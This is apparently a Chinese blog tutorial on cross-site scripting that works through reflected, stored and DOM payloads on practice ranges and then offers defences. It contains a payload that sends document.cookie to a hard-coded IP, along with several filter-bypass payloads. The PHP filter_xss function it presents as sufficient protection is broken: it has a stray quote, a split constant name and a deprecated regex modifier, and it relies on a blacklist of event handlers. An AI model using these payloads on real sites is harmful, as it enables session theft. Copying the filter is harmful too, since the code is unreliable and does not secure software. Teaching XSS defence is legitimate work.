最常见的攻击xss
什么是xss?
为什么是xss?
开放式Web应用程序安全项目(Open Web Application Security Project,OWASP)是世界上最知名的Web安全与数据库安全研究组织,该组织分别在2007年和2010年统计过十大Web安全漏洞,如图下图所示:
- 我们看到xss高居第二!
除此之外在我们生活中也能经常看到很被攻击的:
- 跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
- XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时侯,恶意脚本会在受害者的计算机上悄悄执行,流程如图:
主要类型:
- Reflected XSS(基于反射的XSS攻击)
- Stored XSS(基于存储的XSS攻击)
- DOM-based or local XSS(基于DOM或本地的XSS攻击)
按照攻击方式来分:
Reflected XSS(基于反射的XSS攻击):
反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广的一种,主要用于将恶意脚本附加到URL地址的参数中
此类 XSS 通常出现在网站的搜索栏、用户登入口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
exp:
目标:简单的靶场
简单的跳转攻击:
</pre><a href="http://www.xiaozhu.com/">小姐姐</a><pre>
简单的获取cookies:
<script>document.location='http://43.247.91.228:81/vulnerabilities/xss_r/?'+document.cookie</script>
Stored XSS(基于存储的XSS攻击):
- 持久型 XSS 一般出现在网站的留言、评论、博客日志等交互处,恶意脚本被存储到客户端或者服务器的数据库中,当其他用户浏览该网页时,站点即从数据库中读取恶意用户存入的非法数据,然后显示在页面中,即在受害者主机上的浏览器执行恶意代码。
如图:。
- exp:
- 目标:简单的靶场
简单的持久攻击:
小姐姐</div><button type="button"><a href="http://www.xiaozhu.com/">小姐姐</a></button>
DOM-based or local XSS(基于DOM或本地的XSS攻击):
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。所以他的攻击原理就和 Reflected XSS(基于反射的XSS攻击)一样了
exp:
目标:简单的靶场
简单的DOM攻击:
<script>document.body.innerHTML="<div style=visibility:visible;><h1>This is DOM XSS</h1></div>";</script>
防御:
要解决问题首先要知道问题是怎么产生的,所以这里我们来详细的看看不同种类的攻击是如何工作的。
在前面我们说到了,反射型的攻击是最为常见的,相对于其他的两种类型的攻击来说的话在技能上要求也是比较简单的。我们就来详细的看看是如何工作的:
目标:简单的靶场2
新手村卡拉赞:
- 目标:简单的靶场2
<script>alert()</script>
怒焰裂谷:
- 目标:简单的靶场2
"><script>alert()</script>
哀嚎洞穴:
- 目标:简单的靶场2
" οnclick=alert() type="
这里我们就进入了事件攻击类型了,但是任然属于反射xss
影牙城堡:
- 目标:简单的靶场2
" /> <a href=javascript:alert()>something</a>
黑暗深渊:
- 目标:简单的靶场2
" /><a hrEF=javascript:alert()>something</a>
这里我们就开始遇到关键词的替换了
诺莫瑞根:
- 目标:简单的靶场2
在这个副本中我们就能看到这里也是对关键词进行替换。
这里我们将被替换的关键词进行编码,这里主要是进行了十进制编码,同样的我们可以使用十六进制进行编码和其他的,这里我们需要查看具体支持那些编码。
javascript:alert()
_sort=" type="text" οnclick=alert() "`沉没的神庙:
- 目标:简单的靶场2
t_sort=" type="text" οnclick=alert() "
在这里我们就开始对网站的规则进行猜测,这个在很多的大型网站中是很难找到具体的规则。
黑石深渊:
- 目标:简单的靶场2
这里我们就是注入型的xss,xss的攻击就主要变成了地请求的串改了。当然不止是对referer的攻击,还有可能对UA,cookies,uri等。
当然我们这里只是把各种xss的方式展现给大家了,很多地方都是需要我们自己去动手详细的去操作,并找到更多的攻击方并了解攻击原理,这样我们才能很好的预防和完善我们的程序。
进阶攻击:
- session劫持:
Session 的中文意思是会话,其实就是访问者从到达特定主页到离开的那段时间,在这个过程中,每个访问者都会得到一个单独的Session。Session是基于访问的进程,记录了一个访问的开始到结束,当浏览器或进程关闭之后,Session也就“消失”了。
在Session机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也会有被其他人利用的可能。
Session和Cookie的最大区别在于:Session是保存在服务端的内存里面,而Cookie保存于浏览器或客户端文件里面。
我们之所以要了解Session机制,是因为它与XSS跨站脚本之间息息相关。所谓的“会话劫持”,其实就是指攻击者利用XSS劫持了用户的会话去执行某些恶意操作(或攻击),这些操作往往能达到提升权限的目的。
这里需要注意的是:会话概念一般是基于Cookie的,会话劫持的本质是在攻击中带上了Cookie并发送到服务端。
为了让大家深入理解会话劫持的原理,以及这种攻击的严重性。
- XSS 蠕虫:
持久型XSS不需要用户去单击URL进行触发,所以它的危害比反射型XSS大,黑客可以利用它渗透网站、挂马、钓鱼……
更严重的是,利用此类 XSS 能够轻易编写危害性更大的 XSS 蠕虫,跨站蠕虫是使用Ajax/JavaScript脚本语言编写的蠕虫病毒,能够在网站中实现病毒的几何数级传播,其感染速度和攻击效果都非常可怕。XSS蠕虫会直接影响到网站的所有用户,也就是一个地方出现XSS漏洞,同站点下的所有用户都可能被攻击。可想而知XSS蠕虫对网站的打击是十分巨大的!- https://www.2cto.com/article/201609/545085.html
- 兄弟们,讲到这里了,还不点…………,嗯,我来看看需要这么做来应对,
在上面点打副本中我们已经知道了一些防御点手段这里来这个一个总结和发散:表单数据指定值的类型;过滤或移除特殊的 html 标签; 过滤 js 事件的标签。
千言万语汇成一句简单的代码:
function filter_xss($string, $allowedtags = '', $disabledattributes = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint','onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavaible', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragdrop', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterupdate', 'onfinish', 'onfocus', 'onfocusin', ''onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmoveout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove','onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload')) { if(is_array($string)) { foreach($string as $key => $val) $string[$key] = filter_xss($val, ALLOWED_HTM- LTAGS); } else { $string = preg_replace('/\s('.implode('|', $disabledattributes).').*?([\s\>])/', '\\2', preg_replace('/<(.*?)>/ie', "'<'.preg_replace(array('/javascript:[^\"\']*/i', '/(".implode('|', $disabledattributes).")[ \\t\\n]*=[ \\t\\n]*[\"\'][^\"\']*[\"\']/i', '/\s+/'), array('', '', ' '), stripslashes('\\1')) . '>'", strip_tags($string, $allowedtags))); } return $string; }
这段代码的作用是过滤XSS跨站代码,整个功能封装在filter_xss()中,只要程序在处理输入变量的时候使用该函数,就足以过滤常见的跨站脚本。
当然除了对我们的代码进行规范意外,还要对已有的代码进行测试检查这里我们能在github上找到一些开源的工具:
https://github.com/s0md3v/XSStrike.git
工具提供很多测试方法,脚本关键词扫描,事件扫描,DOM扫描等;
代码审计:
除了使用工具测试意外,还要我们自己定期的审计代码;理论上来讲,如果想要尽可能挖掘更多的XSS漏洞,最可靠的方式是进行Web代码安全审计,即审计、检查程序源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞。这里的源代码是指Web服务器端的程序代码,如ASP、JSP、PHP等。
众所周知,XSS跨站的原理是向HTML中注入并执行恶意脚本,和大多数的Web安全漏洞一样,它同样是由于不正确的输入输出验证所造成的。归根结底,XSS的产生来自于服务端,所以想彻底杜绝XSS攻击,就必须从服务端程序着手,而进行Web代码安全审计来发掘XSS无疑是最有效的解决方式之一。
分析源代码发掘 XSS 的思路一般是:查找可能在页面输出的变量,检验它们是否受到控制,然后跟踪这些变量的传递过程,分析它们是否被htmlencode()之类的函数过滤。
HtmlEncode函数的作用是将HTML源文件中不允许出现的字符进行编码,通常是编码以下字符"<"、">"、"&" 等,许多程序语言都内置相应的函数或库实现该功能,如ASP的Server.HTMLEncode方法和PHP的htmlspecialchars()函数。黑盒测试:
不管是采用哪种方式进行 Web 安全测试,都要依照测试者所能取得的相关资源而定,如:白盒测试适用于取得相应的源代码等资源时;黑盒测试则适用于完全无法取得前述资源,只能从程式外部输入可能接收的文件或参数值、并观察其输出结果时;而灰箱测试的适用条件则界于白盒测试与黑盒测试之间。
其中,黑盒测试中又可分为人工测试及自动化测试,所谓的“自动化测试”就是指使用自动化测试工具来进行测试,这类测试一般不需要人干预。
下面介绍几款可以扫描 XSS 漏洞的自动化测试工具,有了这些工具,便能快速有效地发掘出Web应用程序中的跨站脚本漏洞。
Acunetix Web Vulnerability Scanner。
Acunetix Web Vulnerability Scanner是一款商业级的Web漏洞扫描程序,它的功能非常强大,可以自动化检测各种Web应用程序中的漏洞,包括XSS、SQL 注入、代码执行、目录遍历、网站程序源代码暴露、CRLF Injection等。
读者可以从官方网站获取更多信息:
http://www.acunetix.com/vulnerability-scanner。当然开源的肯定没有付费的好,不管是国内还是国外都会有很多提供这方面服务的公司,只要钱到位,就是出问题都会有人帮你弄,